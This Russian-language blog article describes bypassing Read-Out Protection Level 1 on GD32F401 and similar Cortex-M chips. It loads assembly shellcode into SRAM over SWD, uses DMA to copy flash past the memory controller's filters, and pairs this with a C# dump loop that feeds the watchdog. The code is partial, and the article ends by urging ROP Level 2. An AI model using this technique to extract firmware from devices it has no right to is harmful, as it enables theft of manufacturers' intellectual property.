Введение
Представьте картину: вы поставили на объект дорогущую бронированную дверь, врезали три умных замка, настроили биометрию… а уходя, подпёрли её шваброй или метлой, «вдруг ключ забудешь». …ииии, — заходи кто хочешь, бери что хочешь!
Примерно так выглядит аппаратная защита Read-Out Protection (ROP) Level 1 в народных китайских микроконтроллерах GigaDevice (и не только, а так же и в нашей сегодняшней жертве — GD32F401). Разработчик серийного девайса ставит заветную галочку в программаторе, блокирует чтение Flash, спит спокойно и думает, что его интеллектуальная собственность в полной безопасности.
Но дьявол кроется в деталях. Раз уж отладочный интерфейс SWD на первом уровне защиты услужливо оставляет нам открытым «чёрный ход» в виде оперативной памяти (SRAM), грех туда не заглянуть.
Сегодня мы побудем исследователями безопасности, соберем кастомный ассемблерный шелл-код, заставим DMA шпионить против собственного процессора и управлять аппаратным вочдогом, вытягивая прошивку байт за байтом через обычный штатный программатор.
⚠️ Важный дисклеймер
Вся информация предоставлена исключительно в ознакомительных целях для аудита собственных девайсов. Автор не несет ответственности за неправомерное использование материала.
Анатомия уязвимости
При активации защиты ROP Level 1 (в GD32, STM32, APM32, CH32) внешний доступ к Flash закрыт, но SRAM полностью открыта. Мы можем подключиться отладчиком, остановить ядро и залить в ОЗУ свой код, а так же прыгнуть в него подправив PC и STACK.
Однако контроллер памяти (FMC) блокирует прямые инструкции чтения (LDR) из Flash (и не только их, в STM например производители незаметно допиливают свои камни пытаясь вкрутить возможные варианты блокировки уязвимости, в том числе прыжки в SRAM «просто так», так же как в камнях новых серий пытаются закрыть эту дырку, но там просто диаметр уже и это тема другой статьи), если процессор выполняет код из SRAM. Дверь закрыта. Но рядом есть окно — DMA (Direct Memory Access). Фильтры FMC не проверяют транзакции «память-память», запущенные контроллером DMA. Он имеет более высокие привилегии на системной шине AHB, чем ядро, выполняющее сторонний софт. Данные из Flash потекут в ОЗУ в обход всех запретов ядра.
Но, тут можно слегка споткнуться, если упустить одну простую но коварную штуку: Аппаратный Watchdog (IWDG)!
Если настроить DMA на копирование всей Flash разом, микроконтроллер мгновенно уйдет в ребут. В коммерческих прошивках всегда включен аппаратный сторожевой пес (IWDG). Пока программатор общается с ПК по USB, проходят десятки миллисекунд — для независимого таймера, — вочдога это вечность.
Решение: Сжимаем окно передачи до 16 байт (4 слова по 32 бита).В ОЗУ внедряется исключительно компактный код на ассемблере. Сразу после того, как DMA перекидывает очередную порцию, ассемблерный код сам на прощание пинает вотчдог выставляя флаг готовности. Это дает C#-приложению на ПК спасительное окно времени, чтобы затормозить ядро командой halt, забрать 16 байт из SRAM, обновить адрес и запустить цикл по новой.
Физически этот высокоскоростной обходной путь выглядит так:

Реализация конвейера
1. Ассемблерная «отмычка» в ОЗУ (ARM ASM)
Никакого Си. В ОЗУ заливается чистый ассемблер ARM Thumb-2. Код настраивает DMA на 4 слова, дожидается окончания передачи и перед уходом в ступор деактивирует вотчдог на текущий цикл (помним, что всё что угодно может быть настроено в исполнителе, отключаем прерывания, все прерывания, сбрасываем настройки интерфейсов, те которые нам нужны, — перенастраиваем, процитирую кусочек основного):
assembly
; На входе в R0 — адрес Flash, в R1 — адрес буфера в SRAM (0x20004000); Адреса регистров DMA0_CH0 жестко забиты в кодеLDR R2, =0x40026000 ; Базовый адрес DMA0; [Здесь идет ультра-короткая настройка регистров DMA0_CH0 на 4 слова]; ...LDR R3, =0x40026008 ; Адрес регистра флагов DMA0WAIT_DMA: LDR R4, [R3] ; Быстрый опрос флага окончания передачи в цикле TST R4, #0x20 ; Проверяем флаг полного окончания передачи (FTF) BEQ WAIT_DMA; !!! Ключевой момент: Копирование завершено, пёс вот-вот сорвется.; Ассемблерный код САМ пинает WDT (IWDG_KR = 0xAAAA), выигрывая время для ПК!LDR R7, =0x40003000LDR R8, =0xAAAASTR R8, [R7]; Выставляем флаг готовности для ПК (пишем 2 в ячейку 0x20000100)LDR R5, =0x20000100MOVS R6, #2STR R6, [R5]; Теперь можно спокойно замереть в ожидании, пока ПК выдаст команду haltLOOP_FREEZE: B LOOP_FREEZE
2. Контроль и выгрузка на стороне ПК (C#)
Приложение на C# выступает в роли жесткого тайм-менеджера. Оно перехватывает управление ровно в тот момент, пока вочдог переваривает ассемблерную порцию «корма»:
csharp
// 1. Командуем отладчику быстро остановить процессорExecuteCommand(stream, "halt");// 2. Вычитываем регистр статуса из SRAM, проверяя готовность порции данныхuint status = ReadRegister32(stream, 0x20000100);if (status == 2) { // 3. Данные на месте! Сверхбыстро забираем 16 байт через SWD string response = ExecuteCommandWithResponse(stream, "mdw 0x20004000 4"); ParseAndStoreBytes(response, firmwareDump, currentOffset); // 4. Записываем новое смещение во Flash для следующего шага currentOffset += 16; ExecuteCommand(stream, $"mww 0x20000104 0x{currentOffset:X8}"); ExecuteCommand(stream, "mww 0x20000100 1"); // Сброс статуса в "В процессе"}// 5. Контрольный пинок вочдога со стороны ПК перед стартом (IWDG_KR = 0xAAAA)ExecuteCommand(stream, "mww 0x40003000 0xAAAA");// 6. Запускаем процессор обратно в бой до следующей микро-паузыExecuteCommand(stream, "resume");
Вывод для разработчиков
Защита уровня Level 1 на большинстве чипов Cortex-M (GD32, STM32, APM32, CH32) спасает только от ленивого. Наличие открытой SRAM превращает её в иллюзию. Контроль ядра со стороны внешнего отладчика в связке с точечной ассемблерной подкормкой позволяет элегантно обходить даже жесткие тайминги аппаратной периферии.
Если вы выпускаете коммерческий серийный продукт — без вариантов включайте ROP Level 2 (если нет других способов защиты, и это опять таки тема для другой статьи). Да, SWD-интерфейс заблокируется намертво, чип нельзя будет обновить или отладить через свисток, даже стереть из кода защиту с полным обнулением кристалла, но зато никто не придет со своей «метлой» и не унесет ваши бессонные ночи разработки в виде готового .bin файла.
За сим позвольте откланяться, доброго ВАМ времени суток! Доброты и радости!
ссылка на оригинал статьи https://habr.com/ru/articles/1049212/